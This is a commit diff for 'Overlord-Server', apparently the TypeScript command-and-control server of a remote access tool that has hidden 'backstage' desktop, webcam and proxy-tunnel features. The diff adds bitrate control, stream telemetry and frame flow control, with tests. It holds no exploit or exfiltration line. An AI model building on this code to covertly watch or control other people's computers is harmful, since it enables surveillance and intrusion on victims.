vxaboveground/overlord
1
0
Fork 0
Code Issues Pull Requests Actions 1 Packages Projects Releases Wiki Activity

major remote desktop upgrades + do opus. Hopefully all the tests pass 😭

Browse Source
This commit is contained in:
KingKDot
2026-07-17 04:28:23 -05:00
parent 779f86b259
commit 0219081682
35 changed files with 1304 additions and 91 deletions
Download Patch File Download Diff File Expand all files Collapse all files
Overlord-Server/src/main-server.ts
+2
View File
@@ -92,6 +92,7 @@ import { createWebSocketRuntime } from "./server/websocket-runtime";
import {
handleConsoleOutput,
handleDesktopEncoderCapabilities,
handleDesktopStreamStats,
handleConsoleViewerMessage,
handleConsoleViewerOpen,
handlebackstageViewerMessage,
@@ -656,6 +657,7 @@ async function startServer() {
handleNotificationScreenshotResult: notificationPluginHandlers.handleNotificationScreenshotResult,
handleConsoleOutput: (clientId: string, payload: any) => handleConsoleOutput(clientId, payload),
handleDesktopEncoderCapabilities: (clientId: string, payload: any) => handleDesktopEncoderCapabilities(clientId, payload),
handleDesktopStreamStats: (clientId: string, payload: any) => handleDesktopStreamStats(clientId, payload),
handleFileBrowserMessage: (clientId: string, payload: any) =>
forwardFileBrowserMessage(clientId, payload, {
pendingHttpDownloads,
Overlord-Server/src/protocol.ts
+18
View File
@@ -8,6 +8,7 @@ export type MessageKind =
| "command"
| "command_result"
| "desktop_encoder_capabilities"
| "desktop_stream_stats"
| "client_logs_result"
| "screenshot_result"
| "frame"
@@ -125,6 +126,7 @@ export type CommandType =
| "desktop_enable_mouse"
| "desktop_enable_keyboard"
| "desktop_set_fps"
| "desktop_set_bitrate"
| "darwin_request_permissions"
| "webrtc_publish"
| "webrtc_stop"
@@ -189,6 +191,8 @@ export type FrameHeader = {
monitor: number;
fps: number;
format: "jpeg" | "webp" | "raw" | "h264";
width?: number;
height?: number;
hash?: string;
backstage?: boolean;
webcam?: boolean;
@@ -196,6 +200,19 @@ export type FrameHeader = {
export type Frame = { type: "frame"; header: FrameHeader; data: Uint8Array };
export type FrameAck = { type: "frame_ack" };
export type DesktopStreamStats = {
type: "desktop_stream_stats";
fps: number;
format: string;
bytes: number;
width: number;
height: number;
captureMs: number;
encodeMs: number;
sendMs: number;
totalMs: number;
transport: "websocket" | "webrtc" | string;
};
export type Status = {
type: "status";
state: "idle" | "streaming" | "error";
@@ -505,6 +522,7 @@ export type WireMessage =
| ScreenshotResult
| Frame
| FrameAck
| DesktopStreamStats
| Status
| ConsoleOutput
| FileListResult
Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts
+4
View File
@@ -222,6 +222,7 @@ type WsLifecycleDeps = {
handleNotificationScreenshotResult: (clientId: string, payload: any) => void;
handleConsoleOutput: (clientId: string, payload: any) => void;
handleDesktopEncoderCapabilities: (clientId: string, payload: any) => void;
handleDesktopStreamStats: (clientId: string, payload: any) => void;
handleFileBrowserMessage: (clientId: string, payload: any) => void;
handleProxyTunnelData: (clientId: string, connectionId: string, data: Uint8Array) => void;
handleProxyTunnelClose: (clientId: string, connectionId: string) => void;
@@ -799,6 +800,9 @@ export async function handleWebSocketMessage(
case "desktop_encoder_capabilities":
deps.handleDesktopEncoderCapabilities(client.id, payload);
break;
case "desktop_stream_stats":
deps.handleDesktopStreamStats(client.id, payload);
break;
case "file_list_result":
case "file_download":
case "file_upload_result":
Overlord-Server/src/server/ws-console-rd-backstage.test.ts
+74
View File
@@ -9,6 +9,7 @@ import {
handlebackstageViewerOpen,
handleRemoteDesktopViewerMessage,
handleRemoteDesktopViewerOpen,
handleDesktopStreamStats,
backstageStreamingState,
rdStreamingState,
} from "./ws-console-rd-backstage";
@@ -143,6 +144,7 @@ describe("remote desktop viewer control", () => {
duplication: true,
maxHeight: 1080,
maxFps: 120,
bitrateMbps: 0,
lastFps: 1,
lastFrameAt: 0,
startedAt: Date.now() - 5000,
@@ -156,6 +158,78 @@ describe("remote desktop viewer control", () => {
expect(commands.filter((msg) => msg.commandType === "desktop_request_keyframe")).toHaveLength(0);
expect(rdStreamingState.get(clientId)?.isStreaming).toBe(true);
});
test("forwards and clamps the desktop bitrate setting", () => {
const clientId = `rd-bitrate-${Date.now().toString(36)}`;
const { agentWs } = createClient(clientId);
const viewer = createMockWs({ clientId });
handleRemoteDesktopViewerOpen(viewer as any);
handleRemoteDesktopViewerMessage(viewer as any, JSON.stringify({
type: "desktop_set_bitrate",
bitrateMbps: 75,
}));
const command = agentCommands(agentWs).find((msg) => msg.commandType === "desktop_set_bitrate");
expect(command?.payload?.bitrateMbps).toBe(50);
expect(rdStreamingState.get(clientId)?.bitrateMbps).toBe(50);
});
test("forwards agent pipeline telemetry to every remote desktop viewer", () => {
const clientId = `rd-stats-${Date.now().toString(36)}`;
createClient(clientId);
const viewer = createMockWs({ clientId });
handleRemoteDesktopViewerOpen(viewer as any);
handleDesktopStreamStats(clientId, {
type: "desktop_stream_stats",
fps: 60,
format: "h264",
captureMs: 2.25,
encodeMs: 4.5,
sendMs: 0.4,
totalMs: 7.3,
transport: "webrtc",
});
const message = decodeMessage(viewer.sent.at(-1) as Uint8Array) as any;
expect(message.type).toBe("desktop_stream_stats");
expect(message.captureMs).toBe(2.25);
expect(message.encodeMs).toBe(4.5);
expect(message.transport).toBe("webrtc");
});
test("holds Canvas acknowledgements only while the browser decoder is under pressure", () => {
const clientId = `rd-flow-${Date.now().toString(36)}`;
const { agentWs } = createClient(clientId);
const viewer = createMockWs({ clientId });
handleRemoteDesktopViewerOpen(viewer as any);
handleRemoteDesktopViewerMessage(viewer as any, JSON.stringify({
type: "desktop_start",
canvasFlowControl: true,
}));
const healthyAck = (globalThis as any).__rdBroadcast(
clientId,
new Uint8Array([1, 2, 3]),
{ format: "h264", fps: 60, width: 2560, height: 1440 },
);
expect(healthyAck).toBe(true);
const frame = viewer.sent.at(-1) as Uint8Array;
expect(frame[3]).toBe(2);
expect(frame.byteLength).toBe(15);
handleRemoteDesktopViewerMessage(viewer as any, JSON.stringify({ type: "desktop_decode_pressure", active: true }));
const pressuredAck = (globalThis as any).__rdBroadcast(
clientId,
new Uint8Array([4, 5, 6]),
{ format: "h264", fps: 60, width: 2560, height: 1440 },
);
expect(pressuredAck).toBe(false);
handleRemoteDesktopViewerMessage(viewer as any, JSON.stringify({ type: "desktop_decode_pressure", active: false }));
expect(agentCommands(agentWs).filter((msg) => msg.type === "frame_ack")).toHaveLength(1);
});
});
describe("backstage viewer control", () => {
Overlord-Server/src/server/ws-console-rd-backstage.ts
+80 -2
View File
@@ -175,6 +175,7 @@ function broadcastFrameToViewers(
const rdSendStats = { lastLog: 0, frames: 0, sendMs: 0, bytes: 0 };
const rdDebugFrameLogAt = new Map<string, number>();
const rdCanvasFrameAckPending = new Map<string, string>();
export const rdStreamingState = new Map<string, {
isStreaming: boolean;
display: number;
@@ -184,6 +185,7 @@ export const rdStreamingState = new Map<string, {
duplication: boolean;
maxHeight: number;
maxFps: number;
bitrateMbps: number;
lastFps: number;
lastFrameAt: number;
startedAt: number;
@@ -209,6 +211,7 @@ function defaultRdStreamingState() {
duplication: false,
maxHeight: 0,
maxFps: 120,
bitrateMbps: 0,
lastFps: 0,
lastFrameAt: 0,
startedAt: 0,
@@ -366,7 +369,9 @@ export function handleRemoteDesktopViewerMessage(ws: ServerWebSocket<SocketData>
const state = rdStreamingState.get(clientId) || defaultRdStreamingState();
logger.debug(`[rd] inbound viewer msg type=${payload.type} client=${clientId}`);
if (payload.type !== "desktop_decode_pressure") {
logger.debug(`[rd] inbound viewer msg type=${payload.type} client=${clientId}`);
}
switch (payload.type) {
case "desktop_encoder_capabilities":
sendDesktopCommand(target, "desktop_encoder_capabilities", {
@@ -374,6 +379,9 @@ export function handleRemoteDesktopViewerMessage(ws: ServerWebSocket<SocketData>
});
break;
case "desktop_start":
(ws.data as any).rdCanvasFlowControl = (payload as any).canvasFlowControl === true && (payload as any).webrtc !== true;
(ws.data as any).rdCanvasBackpressure = false;
releaseCanvasFrameAck(clientId);
logger.debug(`[rd-debug] desktop_start requested client=${clientId} session=${ws.data.sessionId || ""} state=${JSON.stringify(state)} viewers=${sessionManager.getRdSessionsForClient(clientId).length} webrtc=${(payload as any).webrtc === true}`);
if (!state.isStreaming) {
const targetOs = String(target.os || "").toLowerCase();
@@ -412,6 +420,7 @@ export function handleRemoteDesktopViewerMessage(ws: ServerWebSocket<SocketData>
}
safeSendViewer(ws, { type: "status", status: "starting" });
sendDesktopCommand(target, "desktop_set_fps", { fps: clampDesktopFps(state.maxFps) });
sendDesktopCommand(target, "desktop_set_bitrate", { bitrateMbps: state.bitrateMbps || 0 });
sendDesktopCommand(target, "desktop_start", {});
state.isStreaming = true;
state.startedAt = Date.now();
@@ -423,6 +432,7 @@ export function handleRemoteDesktopViewerMessage(ws: ServerWebSocket<SocketData>
if (lastFrameAgeMs > 3000 && startAgeMs > 3000) {
logger.info(`[rd-debug] desktop_start reasserting stale stream client=${clientId} lastFrameAgeMs=${Number.isFinite(lastFrameAgeMs) ? lastFrameAgeMs : -1} state=${JSON.stringify(state)} viewers=${sessionManager.getRdSessionsForClient(clientId).length}`);
sendDesktopCommand(target, "desktop_set_fps", { fps: clampDesktopFps(state.maxFps) });
sendDesktopCommand(target, "desktop_set_bitrate", { bitrateMbps: state.bitrateMbps || 0 });
sendDesktopCommand(target, "desktop_start", {});
safeSendViewer(ws, { type: "status", status: "starting" });
state.isStreaming = true;
@@ -439,6 +449,9 @@ export function handleRemoteDesktopViewerMessage(ws: ServerWebSocket<SocketData>
}
break;
case "desktop_stop": {
(ws.data as any).rdCanvasFlowControl = false;
(ws.data as any).rdCanvasBackpressure = false;
releaseCanvasFrameAck(clientId);
const otherViewers = sessionManager.getRdSessionsForClient(clientId)
.filter(s => s.id !== ws.data.sessionId);
logger.debug(`[rd-debug] desktop_stop requested client=${clientId} session=${ws.data.sessionId || ""} otherViewers=${otherViewers.length} state=${JSON.stringify(state)}`);
@@ -581,6 +594,23 @@ export function handleRemoteDesktopViewerMessage(ws: ServerWebSocket<SocketData>
}
break;
}
case "desktop_decode_pressure": {
if (!(ws.data as any).rdCanvasFlowControl) break;
const active = (payload as any).active === true;
(ws.data as any).rdCanvasBackpressure = active;
if (!active) releaseCanvasFrameAck(clientId, ws.data.sessionId);
break;
}
case "desktop_set_bitrate": {
const newBitrateMbps = Math.max(0, Math.min(50, Math.floor(Number((payload as any).bitrateMbps) || 0)));
if (state.bitrateMbps !== newBitrateMbps) {
sendDesktopCommand(target, "desktop_set_bitrate", { bitrateMbps: newBitrateMbps });
state.bitrateMbps = newBitrateMbps;
rdStreamingState.set(clientId, state);
logger.debug(`[rd] set target bitrate=${newBitrateMbps || "auto"} Mbps`);
}
break;
}
case "desktop_set_duplication": {
const enabled = !!payload.enabled;
if (state.duplication !== enabled) {
@@ -732,6 +762,11 @@ export function handleWebrtcP2PIce(_clientId: string, payload: any) {
}
export function cleanupViewerP2P(ws: ServerWebSocket<SocketData>) {
if (ws.data.role === "rd_viewer") {
(ws.data as any).rdCanvasFlowControl = false;
(ws.data as any).rdCanvasBackpressure = false;
releaseCanvasFrameAck(ws.data.clientId, ws.data.sessionId);
}
const cleared = clearP2PSessionForViewer(ws);
if (!cleared) return;
const target = clientManager.getClient(cleared.clientId);
@@ -776,6 +811,15 @@ function broadcastRemoteDesktopFrame(clientId: string, bytes: Uint8Array, header
const buf = buildViewerFrameBuffer(bytes, header);
const sessions = sessionManager.getRdSessionsForClient(clientId);
const result = broadcastFrameToViewers(sessions, buf, header);
if (result.sent) {
const controller = sessions.find((session) =>
(session.viewer.data as any).rdCanvasFlowControl === true &&
(session.viewer.data as any).rdCanvasBackpressure === true
);
if (controller?.viewer.data.sessionId) {
rdCanvasFrameAckPending.set(clientId, controller.viewer.data.sessionId);
}
}
if (result.dropped) {
const target = clientManager.getClient(clientId);
if (target) {
@@ -785,7 +829,7 @@ function broadcastRemoteDesktopFrame(clientId: string, bytes: Uint8Array, header
});
}
}
return result.sent || result.viewers === 0;
return (result.sent && !rdCanvasFrameAckPending.has(clientId)) || result.viewers === 0;
}
(globalThis as any).__rdBroadcast = (clientId: string, bytes: Uint8Array, header?: any): boolean => {
@@ -1448,6 +1492,40 @@ export function handleDesktopEncoderCapabilities(clientId: string, payload: any)
}
}
function releaseCanvasFrameAck(clientId: string, sessionId?: string): boolean {
const controllerSessionId = rdCanvasFrameAckPending.get(clientId);
if (!controllerSessionId || (sessionId && controllerSessionId !== sessionId)) return false;
rdCanvasFrameAckPending.delete(clientId);
const target = clientManager.getClient(clientId);
if (!target) return false;
try {
target.ws.send(encodeMessage({ type: "frame_ack" }));
return true;
} catch (err) {
logger.debug(`[rd] canvas frame ack failed client=${clientId}: ${(err as Error).message}`);
return false;
}
}
export function handleDesktopStreamStats(clientId: string, payload: any) {
const stats = {
type: "desktop_stream_stats",
fps: Math.max(0, Number(payload?.fps) || 0),
format: String(payload?.format || ""),
bytes: Math.max(0, Number(payload?.bytes) || 0),
width: Math.max(0, Number(payload?.width) || 0),
height: Math.max(0, Number(payload?.height) || 0),
captureMs: Math.max(0, Number(payload?.captureMs) || 0),
encodeMs: Math.max(0, Number(payload?.encodeMs) || 0),
sendMs: Math.max(0, Number(payload?.sendMs) || 0),
totalMs: Math.max(0, Number(payload?.totalMs) || 0),
transport: String(payload?.transport || ""),
};
for (const session of sessionManager.getRdSessionsForClient(clientId)) {
safeSendViewer(session.viewer, stats, "rd-stats");
}
}
(globalThis as any).__backstageBroadcast = (clientId: string, bytes: Uint8Array, header?: any): boolean => {
const state = backstageStreamingState.get(clientId) || defaultbackstageStreamingState();
if (!state.isStreaming) {
Overlord-Server/src/server/ws-viewer-utils.ts
+12 -4
View File
@@ -33,11 +33,14 @@ export function safeSendViewer(
}
export function buildViewerFrameBuffer(bytes: Uint8Array, header?: any): Uint8Array {
const meta = new Uint8Array(8);
const width = Math.max(0, Math.min(65535, Math.floor(Number(header?.width) || 0)));
const height = Math.max(0, Math.min(65535, Math.floor(Number(header?.height) || 0)));
const metaLength = width > 0 && height > 0 ? 12 : 8;
const meta = new Uint8Array(metaLength);
meta[0] = 0x46;
meta[1] = 0x52;
meta[2] = 0x4d;
meta[3] = 1;
meta[3] = metaLength === 12 ? 2 : 1;
meta[4] = (header?.monitor ?? 0) & 0xff;
meta[5] = (header?.fps ?? 0) & 0xff;
const fmt = header?.format === "blocks"
@@ -49,10 +52,15 @@ export function buildViewerFrameBuffer(bytes: Uint8Array, header?: any): Uint8Ar
: 1;
meta[6] = fmt;
meta[7] = 0;
if (metaLength === 12) {
const view = new DataView(meta.buffer);
view.setUint16(8, width, true);
view.setUint16(10, height, true);
}
const buf = new Uint8Array(8 + bytes.length);
const buf = new Uint8Array(metaLength + bytes.length);
buf.set(meta, 0);
buf.set(bytes, 8);
buf.set(bytes, metaLength);
return buf;
}
Overlord-Server/src/wsValidation.ts
+1
View File
@@ -21,6 +21,7 @@ export const ALLOWED_CLIENT_MESSAGE_TYPES = new Set([
"file_hash_result",
"command_result",
"desktop_encoder_capabilities",
"desktop_stream_stats",
"client_logs_result",
"screenshot_result",
"command_progress",